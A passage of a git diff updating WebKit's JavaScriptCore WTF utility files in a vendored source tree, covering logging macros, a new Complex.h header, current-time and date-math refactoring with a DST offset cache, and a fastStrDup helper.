-#define LOG(channel, ...) ((void)0)
-#elif COMPILER(MSVC7)
+#if COMPILER(MSVC7)
 #define LOG() ((void)0)
 #elif COMPILER(WINSCW)
 #define LOG(arg...) ((void)0)
+#elif LOG_DISABLED
+#define LOG(channel, ...) ((void)0)
 #else
 #define LOG(channel, ...) WTFLog(&JOIN_LOG_CHANNEL_WITH_PREFIX(LOG_CHANNEL_PREFIX, channel), __VA_ARGS__)
 #define JOIN_LOG_CHANNEL_WITH_PREFIX(prefix, channel) JOIN_LOG_CHANNEL_WITH_PREFIX_LEVEL_2(prefix, channel)
@@ -260,12 +294,12 @@ while (0)
 
 /* LOG_VERBOSE */
 
-#if LOG_DISABLED && !COMPILER(MSVC7) && !COMPILER(WINSCW)
-#define LOG_VERBOSE(channel, ...) ((void)0)
-#elif COMPILER(MSVC7)
+#if COMPILER(MSVC7)
 #define LOG_VERBOSE(channel) ((void)0)
 #elif COMPILER(WINSCW)
 #define LOG_VERBOSE(channel, arg...) ((void)0)
+#elif LOG_DISABLED
+#define LOG_VERBOSE(channel, ...) ((void)0)
 #else
 #define LOG_VERBOSE(channel, ...) WTFLogVerbose(__FILE__, __LINE__, WTF_PRETTY_FUNCTION, &JOIN_LOG_CHANNEL_WITH_PREFIX(LOG_CHANNEL_PREFIX, channel), __VA_ARGS__)
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Complex.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Complex.h
new file mode 100644
index 0000000..cfd1d20
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Complex.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef Complex_h
+#define Complex_h
+
+#include <complex>
+#include <wtf/MathExtras.h>
+
+namespace WebCore {
+
+typedef std::complex<double> Complex;
+
+inline Complex complexFromMagnitudePhase(double magnitude, double phase)
+{
+    return Complex(magnitude * cos(phase), magnitude * sin(phase));
+}
+
+} // namespace WebCore
+
+#endif // Complex_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.cpp
index b36cae5..30ca7c3 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.cpp
@@ -33,7 +33,7 @@
 #include "config.h"
 #include "CurrentTime.h"
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 
 // Windows is first since we want to use hires timers, despite PLATFORM(CF)
 // being defined.
@@ -45,7 +45,7 @@
 #include <time.h>
 
 #if USE(QUERY_PERFORMANCE_COUNTER)
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 extern "C" time_t mktime(struct tm *t);
 #else
 #include <sys/timeb.h>
@@ -59,6 +59,8 @@ extern "C" time_t mktime(struct tm *t);
 #include <glib.h>
 #elif PLATFORM(WX)
 #include <wx/datetime.h>
+#elif PLATFORM(BREWMP)
+#include <AEEStdLib.h>
 #else // Posix systems relying on the gettimeofday()
 #include <sys/time.h>
 #endif
@@ -71,7 +73,7 @@ namespace WTF {
 
 const double msPerSecond = 1000.0;
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 
 #if USE(QUERY_PERFORMANCE_COUNTER)
 
@@ -123,7 +125,7 @@ static double highResUpTime()
 
 static double lowResUTCTime()
 {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
     SYSTEMTIME systemTime;
     GetSystemTime(&systemTime);
     struct tm tmtime;
@@ -277,6 +279,20 @@ double currentTime()
     return (double)now.GetTicks() + (double)(now.GetMillisecond() / 1000.0);
 }
 
+#elif PLATFORM(BREWMP)
+
+// GETUTCSECONDS returns the number of seconds since 1980/01/06 00:00:00 UTC,
+// and GETTIMEMS returns the number of milliseconds that have elapsed since the last
+// occurrence of 00:00:00 local time.
+// We can combine GETUTCSECONDS and GETTIMEMS to calculate the number of milliseconds
+// since 1970/01/01 00:00:00 UTC.
+double currentTime()
+{
+    // diffSeconds is the number of seconds from 1970/01/01 to 1980/01/06
+    const unsigned diffSeconds = 315964800;
+    return static_cast<double>(diffSeconds + GETUTCSECONDS() + ((GETTIMEMS() % 1000) / msPerSecond));
+}
+
 #else // Other Posix systems rely on the gettimeofday().
 
 double currentTime()
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.h b/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.h
index 31f1ec8..033448f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/CurrentTime.h
@@ -32,16 +32,36 @@
 #ifndef CurrentTime_h
 #define CurrentTime_h
 
+#include <time.h>
+
 namespace WTF {
 
-    // Returns the current system (UTC) time in seconds, starting January 1, 1970.
-    // Precision varies depending on a platform but usually is as good or better 
+    // Returns the current UTC time in seconds, counted from January 1, 1970.
+    // Precision varies depending on platform but is usually as good or better 
     // than a millisecond.
     double currentTime();
 
+    // Same thing, in milliseconds.
+    inline double currentTimeMS()
+    {
+        return currentTime() * 1000.0; 
+    }
+
+    inline void getLocalTime(const time_t* localTime, struct tm* localTM)
+    {
+    #if COMPILER(MSVC7) || COMPILER(MINGW) || OS(WINCE)
+        *localTM = *localtime(localTime);
+    #elif COMPILER(MSVC)
+        localtime_s(localTM, localTime);
+    #else
+        localtime_r(localTime, localTM);
+    #endif
+    }
+
 } // namespace WTF
 
 using WTF::currentTime;
+using WTF::getLocalTime;
 
 #endif // CurrentTime_h
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.cpp
index 2110432..b9a0207 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.cpp
@@ -39,6 +39,33 @@
  * other provisions required by the MPL or the GPL, as the case may be.
  * If you do not delete the provisions above, a recipient may use your
  * version of this file under any of the LGPL, the MPL or the GPL.
+
+ * Copyright 2006-2008 the V8 project authors. All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials provided
+ *       with the distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  */
 
 #include "config.h"
@@ -61,11 +88,7 @@
 #include <errno.h>
 #endif
 
-#if PLATFORM(DARWIN)
-#include <notify.h>
-#endif
-
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 extern "C" size_t strftime(char * const s, const size_t maxsize, const char * const format, const struct tm * const t);
 extern "C" struct tm * localtime(const time_t *timer);
 #endif
@@ -78,8 +101,14 @@ extern "C" struct tm * localtime(const time_t *timer);
 #include <sys/timeb.h>
 #endif
 
+#if USE(JSC)
+#include "CallFrame.h"
+#endif
+
 #define NaN std::numeric_limits<double>::quiet_NaN()
 
+using namespace WTF;
+
 namespace WTF {
 
 /* Constants */
@@ -91,6 +120,10 @@ static const double secondsPerYear = 24.0 * 60.0 * 60.0 * 365.0;
 static const double usecPerSec = 1000000.0;
 
 static const double maxUnixTime = 2145859200.0; // 12/31/2037
+// ECMAScript asks not to support for a date of which total
+// millisecond value is larger than the following value.
+// See 15.9.1.14 of ECMA-262 5th edition.
+static const double maxECMAScriptTime = 8.64E15;
 
 // Day of year for the first day of each month, where index 0 is January, and day 0 is January 1.
 // First for non-leap years, then for leap years.
@@ -139,7 +172,7 @@ static inline double msToDays(double ms)
     return floor(ms / msPerDay);
 }
 
-static inline int msToYear(double ms)
+int msToYear(double ms)
 {
     int approxYear = static_cast<int>(floor(ms / (msPerDay * 365.2425)) + 1970);
     double msFromApproxYearTo1970 = msPerDay * daysFrom1970ToYear(approxYear);
@@ -150,7 +183,7 @@ static inline int msToYear(double ms)
     return approxYear;
 }
 
-static inline int dayInYear(double ms, int year)
+int dayInYear(double ms, int year)
 {
     return static_cast<int>(msToDays(ms) - daysFrom1970ToYear(year));
 }
@@ -196,7 +229,7 @@ static inline int msToHours(double ms)
     return static_cast<int>(result);
 }
 
-static inline int monthFromDayInYear(int dayInYear, bool leapYear)
+int monthFromDayInYear(int dayInYear, bool leapYear)
 {
     const int d = dayInYear;
     int step;
@@ -234,7 +267,7 @@ static inline bool checkMonth(int dayInYear, int& startDayOfThisMonth, int& star
     return (dayInYear <= startDayOfNextMonth);
 }
 
-static inline int dayInMonthFromDayInYear(int dayInYear, bool leapYear)
+int dayInMonthFromDayInYear(int dayInYear, bool leapYear)
 {
     const int d = dayInYear;
     int step;
@@ -277,7 +310,7 @@ static inline double timeToMS(double hour, double min, double sec, double ms)
     return (((hour * minutesPerHour + min) * secondsPerMinute + sec) * msPerSecond + ms);
 }
 
-static int dateToDayInYear(int year, int month, int day)
+double dateToDaysFrom1970(int year, int month, int day)
 {
     year += month / 12;
 
@@ -287,34 +320,13 @@ static int dateToDayInYear(int year, int month, int day)
         --year;
     }
 
-    int yearday = static_cast<int>(floor(daysFrom1970ToYear(year)));
+    double yearday = floor(daysFrom1970ToYear(year));
+    ASSERT((year >= 1970 && yearday >= 0) || (year < 1970 && yearday < 0));
     int monthday = monthToDayInYear(month, isLeapYear(year));
 
     return yearday + monthday + day - 1;
 }
 
-double getCurrentUTCTime()
-{
-    return floor(getCurrentUTCTimeWithMicroseconds());
-}
-
-// Returns current time in milliseconds since 1 Jan 1970.
-double getCurrentUTCTimeWithMicroseconds()
-{
-    return currentTime() * 1000.0; 
-}
-
-void getLocalTime(const time_t* localTime, struct tm* localTM)
-{
-#if COMPILER(MSVC7) || COMPILER(MINGW) || PLATFORM(WINCE)
-    *localTM = *localtime(localTime);
-#elif COMPILER(MSVC)
-    localtime_s(localTM, localTime);
-#else
-    localtime_r(localTime, localTM);
-#endif
-}
-
 // There is a hard limit at 2038 that we currently do not have a workaround
 // for (rdar://problem/5052975).
 static inline int maximumYearForDST()
@@ -328,7 +340,7 @@ static inline int minimumYearForDST()
     // greater than the max year minus 27 (2010), we want to use the max year
     // minus 27 instead, to ensure there is a range of 28 years that all years
     // can map to.
-    return std::min(msToYear(getCurrentUTCTime()), maximumYearForDST() - 27) ;
+    return std::min(msToYear(jsCurrentTime()), maximumYearForDST() - 27) ;
 }
 
 /*
@@ -367,7 +379,11 @@ int equivalentYearForDST(int year)
 
 static int32_t calculateUTCOffset()
 {
+#if PLATFORM(BREWMP)
+    time_t localTime = static_cast<time_t>(currentTime());
+#else
     time_t localTime = time(0);
+#endif
     tm localt;
     getLocalTime(&localTime, &localt);
 
@@ -399,44 +415,10 @@ static int32_t calculateUTCOffset()
     return static_cast<int32_t>(utcOffset * 1000);
 }
 
-#if PLATFORM(DARWIN)
-static int32_t s_cachedUTCOffset; // In milliseconds. An assumption here is that access to an int32_t variable is atomic on platforms that take this code path.
-static bool s_haveCachedUTCOffset;
-static int s_notificationToken;
-#endif
-
-/*
- * Get the difference in milliseconds between this time zone and UTC (GMT)
- * NOT including DST.
- */
-double getUTCOffset()
-{
-#if PLATFORM(DARWIN)
-    if (s_haveCachedUTCOffset) {
-        int notified;
-        uint32_t status = notify_check(s_notificationToken, &notified);
-        if (status == NOTIFY_STATUS_OK && !notified)
-            return s_cachedUTCOffset;
-    }
-#endif
-
-    int32_t utcOffset = calculateUTCOffset();
-
-#if PLATFORM(DARWIN)
-    // Theoretically, it is possible that several threads will be executing this code at once, in which case we will have a race condition,
-    // and a newer value may be overwritten. In practice, time zones don't change that often.
-    s_cachedUTCOffset = utcOffset;
-#endif
-
-    return utcOffset;
-}
-
 /*
- * Get the DST offset for the time passed in.  Takes
- * seconds (not milliseconds) and cannot handle dates before 1970
- * on some OS'
+ * Get the DST offset for the time passed in.
  */
-static double getDSTOffsetSimple(double localTimeSeconds, double utcOffset)
+static double calculateDSTOffsetSimple(double localTimeSeconds, double utcOffset)
 {
     if (localTimeSeconds > maxUnixTime)
         localTimeSeconds = maxUnixTime;
@@ -465,9 +447,9 @@ static double getDSTOffsetSimple(double localTimeSeconds, double utcOffset)
 }
 
 // Get the DST offset, given a time in UTC
-static double getDSTOffset(double ms, double utcOffset)
+static double calculateDSTOffset(double ms, double utcOffset)
 {
-    // On Mac OS X, the call to localtime (see getDSTOffsetSimple) will return historically accurate
+    // On Mac OS X, the call to localtime (see calculateDSTOffsetSimple) will return historically accurate
     // DST information (e.g. New Zealand did not have DST from 1946 to 1974) however the JavaScript
     // standard explicitly dictates that historical information should not be considered when
     // determining DST. For this reason we shift away from years that localtime can handle but would
@@ -479,69 +461,22 @@ static double getDSTOffset(double ms, double utcOffset)
         int dayInYearLocal = dayInYear(ms, year);
         int dayInMonth = dayInMonthFromDayInYear(dayInYearLocal, leapYear);
         int month = monthFromDayInYear(dayInYearLocal, leapYear);
-        int day = dateToDayInYear(equivalentYear, month, dayInMonth);
+        double day = dateToDaysFrom1970(equivalentYear, month, dayInMonth);
         ms = (day * msPerDay) + msToMilliseconds(ms);
     }
 
-    return getDSTOffsetSimple(ms / msPerSecond, utcOffset);
-}
-
-double gregorianDateTimeToMS(const GregorianDateTime& t, double milliSeconds, bool inputIsUTC)
-{
-    int day = dateToDayInYear(t.year + 1900, t.month, t.monthDay);
-    double ms = timeToMS(t.hour, t.minute, t.second, milliSeconds);
-    double result = (day * msPerDay) + ms;
-
-    if (!inputIsUTC) { // convert to UTC
-        double utcOffset = getUTCOffset();
-        result -= utcOffset;
-        result -= getDSTOffset(result, utcOffset);
-    }
-
-    return result;
-}
-
-// input is UTC
-void msToGregorianDateTime(double ms, bool outputIsUTC, GregorianDateTime& tm)
-{
-    double dstOff = 0.0;
-    double utcOff = 0.0;
-    if (!outputIsUTC) {
-        utcOff = getUTCOffset();
-        dstOff = getDSTOffset(ms, utcOff);
-        ms += dstOff + utcOff;
-    }
-
-    const int year = msToYear(ms);
-    tm.second   =  msToSeconds(ms);
-    tm.minute   =  msToMinutes(ms);
-    tm.hour     =  msToHours(ms);
-    tm.weekDay  =  msToWeekDay(ms);
-    tm.yearDay  =  dayInYear(ms, year);
-    tm.monthDay =  dayInMonthFromDayInYear(tm.yearDay, isLeapYear(year));
-    tm.month    =  monthFromDayInYear(tm.yearDay, isLeapYear(year));
-    tm.year     =  year - 1900;
-    tm.isDST    =  dstOff != 0.0;
-    tm.utcOffset = static_cast<long>((dstOff + utcOff) / msPerSecond);
-    tm.timeZone = NULL;
+    return calculateDSTOffsetSimple(ms / msPerSecond, utcOffset);
 }
 
 void initializeDates()
 {
 #ifndef NDEBUG
     static bool alreadyInitialized;
-    ASSERT(!alreadyInitialized++);
+    ASSERT(!alreadyInitialized);
+    alreadyInitialized = true;
 #endif
 
     equivalentYearForDST(2000); // Need to call once to initialize a static used in this function.
-#if PLATFORM(DARWIN)
-    // Register for a notification whenever the time zone changes.
-    uint32_t status = notify_register_check("com.apple.system.timezone", &s_notificationToken);
-    if (status == NOTIFY_STATUS_OK) {
-        s_cachedUTCOffset = calculateUTCOffset();
-        s_haveCachedUTCOffset = true;
-    }
-#endif
 }
 
 static inline double ymdhmsToSeconds(long year, int mon, int day, int hour, int minute, int second)
@@ -557,7 +492,7 @@ static inline double ymdhmsToSeconds(long year, int mon, int day, int hour, int
 // We follow the recommendation of RFC 2822 to consider all
 // obsolete time zones not listed here equivalent to "-0000".
 static const struct KnownZone {
-#if !PLATFORM(WIN_OS)
+#if !OS(WINDOWS)
     const
 #endif
         char tzName[4];
@@ -622,8 +557,12 @@ static bool parseLong(const char* string, char** stopPosition, int base, long* r
     return true;
 }
 
-double parseDateFromNullTerminatedCharacters(const char* dateString)
+// Odd case where 'exec' is allowed to be 0, to accomodate a caller in WebCore.
+static double parseDateFromNullTerminatedCharacters(const char* dateString, bool& haveTZ, int& offset)
 {
+    haveTZ = false;
+    offset = 0;
+
     // This parses a date in the form:
     //     Tuesday, 09-Nov-99 23:12:40 GMT
     // or
@@ -824,9 +763,6 @@ double parseDateFromNullTerminatedCharacters(const char* dateString)
         }
     }
 
-    bool haveTZ = false;
-    int offset = 0;
-
     // Don't fail if the time zone is missing. 
     // Some websites omit the time zone (4275206).
     if (*dateString) {
@@ -889,33 +825,172 @@ double parseDateFromNullTerminatedCharacters(const char* dateString)
         else
             year += 1900;
     }
+    
+    return ymdhmsToSeconds(year, month + 1, day, hour, minute, second) * msPerSecond;
+}
+
+double parseDateFromNullTerminatedCharacters(const char* dateString)
+{
+    bool haveTZ;
+    int offset;
+    double ms = parseDateFromNullTerminatedCharacters(dateString, haveTZ, offset);
+    if (isnan(ms))
+        return NaN;
 
     // fall back to local timezone
     if (!haveTZ) {
-        GregorianDateTime t;
-        t.monthDay = day;
-        t.month = month;
-        t.year = year - 1900;
-        t.isDST = -1;
-        t.second = second;
-        t.minute = minute;
-        t.hour = hour;
-
-        // Use our gregorianDateTimeToMS() rather than mktime() as the latter can't handle the full year range.
-        return gregorianDateTimeToMS(t, 0, false);
+        double utcOffset = calculateUTCOffset();
+        double dstOffset = calculateDSTOffset(ms, utcOffset);
+        offset = static_cast<int>((utcOffset + dstOffset) / msPerMinute);
     }
-
-    return (ymdhmsToSeconds(year, month + 1, day, hour, minute, second) - (offset * 60.0)) * msPerSecond;
+    return ms - (offset * msPerMinute);
 }
 
 double timeClip(double t)
 {
     if (!isfinite(t))
         return NaN;
-    if (fabs(t) > 8.64E15)
+    if (fabs(t) > maxECMAScriptTime)
         return NaN;
     return trunc(t);
 }
+} // namespace WTF
 
+#if USE(JSC)
+namespace JSC {
+
+// Get the DST offset for the time passed in.
+//
+// NOTE: The implementation relies on the fact that no time zones have
+// more than one daylight savings offset change per month.
+// If this function is called with NaN it returns NaN.
+static double getDSTOffset(ExecState* exec, double ms, double utcOffset)
+{
+    DSTOffsetCache& cache = exec->globalData().dstOffsetCache;
+    double start = cache.start;
+    double end = cache.end;
+
+    if (start <= ms) {
+        // If the time fits in the cached interval, return the cached offset.
+        if (ms <= end) return cache.offset;
+
+        // Compute a possible new interval end.
+        double newEnd = end + cache.increment;
+
+        if (ms <= newEnd) {
+            double endOffset = calculateDSTOffset(newEnd, utcOffset);
+            if (cache.offset == endOffset) {
+                // If the offset at the end of the new interval still matches
+                // the offset in the cache, we grow the cached time interval
+                // and return the offset.
+                cache.end = newEnd;
+                cache.increment = msPerMonth;
+                return endOffset;
+            } else {
+                double offset = calculateDSTOffset(ms, utcOffset);
+                if (offset == endOffset) {
+                    // The offset at the given time is equal to the offset at the
+                    // new end of the interval, so that means that we've just skipped
+                    // the point in time where the DST offset change occurred. Updated
+                    // the interval to reflect this and reset the increment.
+                    cache.start = ms;
+                    cache.end = newEnd;
+                    cache.increment = msPerMonth;
+                } else {
+                    // The interval contains a DST offset change and the given time is
+                    // before it. Adjust the increment to avoid a linear search for
+                    // the offset change point and change the end of the interval.
+                    cache.increment /= 3;
+                    cache.end = ms;
+                }
+                // Update the offset in the cache and return it.
+                cache.offset = offset;
+                return offset;
+            }
+        }
+    }
 
-} // namespace WTF
+    // Compute the DST offset for the time and shrink the cache interval
+    // to only contain the time. This allows fast repeated DST offset
+    // computations for the same time.
+    double offset = calculateDSTOffset(ms, utcOffset);
+    cache.offset = offset;
+    cache.start = ms;
+    cache.end = ms;
+    cache.increment = msPerMonth;
+    return offset;
+}
+
+/*
+ * Get the difference in milliseconds between this time zone and UTC (GMT)
+ * NOT including DST.
+ */
+double getUTCOffset(ExecState* exec)
+{
+    double utcOffset = exec->globalData().cachedUTCOffset;
+    if (!isnan(utcOffset))
+        return utcOffset;
+    exec->globalData().cachedUTCOffset = calculateUTCOffset();
+    return exec->globalData().cachedUTCOffset;
+}
+
+double gregorianDateTimeToMS(ExecState* exec, const GregorianDateTime& t, double milliSeconds, bool inputIsUTC)
+{
+    double day = dateToDaysFrom1970(t.year + 1900, t.month, t.monthDay);
+    double ms = timeToMS(t.hour, t.minute, t.second, milliSeconds);
+    double result = (day * WTF::msPerDay) + ms;
+
+    if (!inputIsUTC) { // convert to UTC
+        double utcOffset = getUTCOffset(exec);
+        result -= utcOffset;
+        result -= getDSTOffset(exec, result, utcOffset);
+    }
+
+    return result;
+}
+
+// input is UTC
+void msToGregorianDateTime(ExecState* exec, double ms, bool outputIsUTC, GregorianDateTime& tm)
+{
+    double dstOff = 0.0;
+    double utcOff = 0.0;
+    if (!outputIsUTC) {
+        utcOff = getUTCOffset(exec);
+        dstOff = getDSTOffset(exec, ms, utcOff);
+        ms += dstOff + utcOff;
+    }
+
+    const int year = msToYear(ms);
+    tm.second   =  msToSeconds(ms);
+    tm.minute   =  msToMinutes(ms);
+    tm.hour     =  msToHours(ms);
+    tm.weekDay  =  msToWeekDay(ms);
+    tm.yearDay  =  dayInYear(ms, year);
+    tm.monthDay =  dayInMonthFromDayInYear(tm.yearDay, isLeapYear(year));
+    tm.month    =  monthFromDayInYear(tm.yearDay, isLeapYear(year));
+    tm.year     =  year - 1900;
+    tm.isDST    =  dstOff != 0.0;
+    tm.utcOffset = static_cast<long>((dstOff + utcOff) / WTF::msPerSecond);
+    tm.timeZone = NULL;
+}
+
+double parseDateFromNullTerminatedCharacters(ExecState* exec, const char* dateString)
+{
+    ASSERT(exec);
+    bool haveTZ;
+    int offset;
+    double ms = WTF::parseDateFromNullTerminatedCharacters(dateString, haveTZ, offset);
+    if (isnan(ms))
+        return NaN;
+
+    // fall back to local timezone
+    if (!haveTZ) {
+        double utcOffset = getUTCOffset(exec);
+        double dstOffset = getDSTOffset(exec, ms, utcOffset);
+        offset = static_cast<int>((utcOffset + dstOffset) / WTF::msPerMinute);
+    }
+    return ms - (offset * WTF::msPerMinute);
+}
+
+} // namespace JSC
+#endif // USE(JSC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.h b/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.h
index 6110f76..033d25e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/DateMath.h
@@ -42,27 +42,27 @@
 #ifndef DateMath_h
 #define DateMath_h
 
-#include <time.h>
+#include <math.h>
 #include <string.h>
+#include <time.h>
+#include <wtf/CurrentTime.h>
 #include <wtf/Noncopyable.h>
+#include <wtf/UnusedParam.h>
 
 namespace WTF {
-
-struct GregorianDateTime;
-
 void initializeDates();
-void msToGregorianDateTime(double, bool outputIsUTC, GregorianDateTime&);
-double gregorianDateTimeToMS(const GregorianDateTime&, double, bool inputIsUTC);
-double getUTCOffset();
 int equivalentYearForDST(int year);
-double getCurrentUTCTime();
-double getCurrentUTCTimeWithMicroseconds();
-void getLocalTime(const time_t*, tm*);
 
 // Not really math related, but this is currently the only shared place to put these.  
-double parseDateFromNullTerminatedCharacters(const char*);
+double parseDateFromNullTerminatedCharacters(const char* dateString);
 double timeClip(double);
 
+inline double jsCurrentTime()
+{
+    // JavaScript doesn't recognize fractions of a millisecond.
+    return floor(WTF::currentTimeMS());
+}
+
 const char * const weekdayName[7] = { "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun" };
 const char * const monthName[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };
 
@@ -74,9 +74,39 @@ const double msPerSecond = 1000.0;
 const double msPerMinute = 60.0 * 1000.0;
 const double msPerHour = 60.0 * 60.0 * 1000.0;
 const double msPerDay = 24.0 * 60.0 * 60.0 * 1000.0;
+const double msPerMonth = 2592000000.0;
 
-// Intentionally overridding the default tm of the system
-// Tee members of tm differ on various operating systems.
+// Returns the number of days from 1970-01-01 to the specified date.
+double dateToDaysFrom1970(int year, int month, int day);
+int msToYear(double ms);
+int dayInYear(double ms, int year);
+int monthFromDayInYear(int dayInYear, bool leapYear);
+int dayInMonthFromDayInYear(int dayInYear, bool leapYear);
+
+} // namespace WTF
+
+using WTF::dateToDaysFrom1970;
+using WTF::dayInMonthFromDayInYear;
+using WTF::dayInYear;
+using WTF::minutesPerHour;
+using WTF::monthFromDayInYear;
+using WTF::msPerDay;
+using WTF::msPerSecond;
+using WTF::msToYear;
+using WTF::secondsPerMinute;
+
+#if USE(JSC)
+namespace JSC {
+class ExecState;
+struct GregorianDateTime;
+
+void msToGregorianDateTime(ExecState*, double, bool outputIsUTC, GregorianDateTime&);
+double gregorianDateTimeToMS(ExecState*, const GregorianDateTime&, double, bool inputIsUTC);
+double getUTCOffset(ExecState*);
+double parseDateFromNullTerminatedCharacters(ExecState*, const char* dateString);
+
+// Intentionally overridding the default tm of the system.
+// The members of tm differ on various operating systems.
 struct GregorianDateTime : Noncopyable {
     GregorianDateTime()
         : second(0)
@@ -98,7 +128,7 @@ struct GregorianDateTime : Noncopyable {
         delete [] timeZone;
     }
 
-    GregorianDateTime(const tm& inTm)
+    GregorianDateTime(ExecState* exec, const tm& inTm)
         : second(inTm.tm_sec)
         , minute(inTm.tm_min)
         , hour(inTm.tm_hour)
@@ -109,10 +139,11 @@ struct GregorianDateTime : Noncopyable {
         , year(inTm.tm_year)
         , isDST(inTm.tm_isdst)
     {
+        UNUSED_PARAM(exec);
 #if HAVE(TM_GMTOFF)
         utcOffset = static_cast<int>(inTm.tm_gmtoff);
 #else
-        utcOffset = static_cast<int>(getUTCOffset() / msPerSecond + (isDST ? secondsPerHour : 0));
+        utcOffset = static_cast<int>(getUTCOffset(exec) / WTF::msPerSecond + (isDST ? WTF::secondsPerHour : 0));
 #endif
 
 #if HAVE(TM_ZONE)
@@ -186,7 +217,7 @@ static inline int gmtoffset(const GregorianDateTime& t)
 {
     return t.utcOffset;
 }
-
-} // namespace WTF
+} // namespace JSC
+#endif // USE(JSC)
 
 #endif // DateMath_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.cpp
index 6cd8ef0..e7d9efa 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.cpp
@@ -114,11 +114,13 @@ static void initializeIsForbiddenKey()
   pthread_key_create(&isForbiddenKey, 0);
 }
 
+#if !ASSERT_DISABLED
 static bool isForbidden()
 {
     pthread_once(&isForbiddenKeyOnce, initializeIsForbiddenKey);
     return !!pthread_getspecific(isForbiddenKey);
 }
+#endif
 
 void fastMallocForbid()
 {
@@ -177,6 +179,17 @@ void* fastZeroedMalloc(size_t n)
     memset(result, 0, n);
     return result;
 }
+
+char* fastStrDup(const char* src)
+{
+    int len = strlen(src) + 1;
+    char* dup = static_cast<char*>(fastMalloc(len));
+
+    if (dup)
+        memcpy(dup, src, len);
+
+    return dup;
+}
     
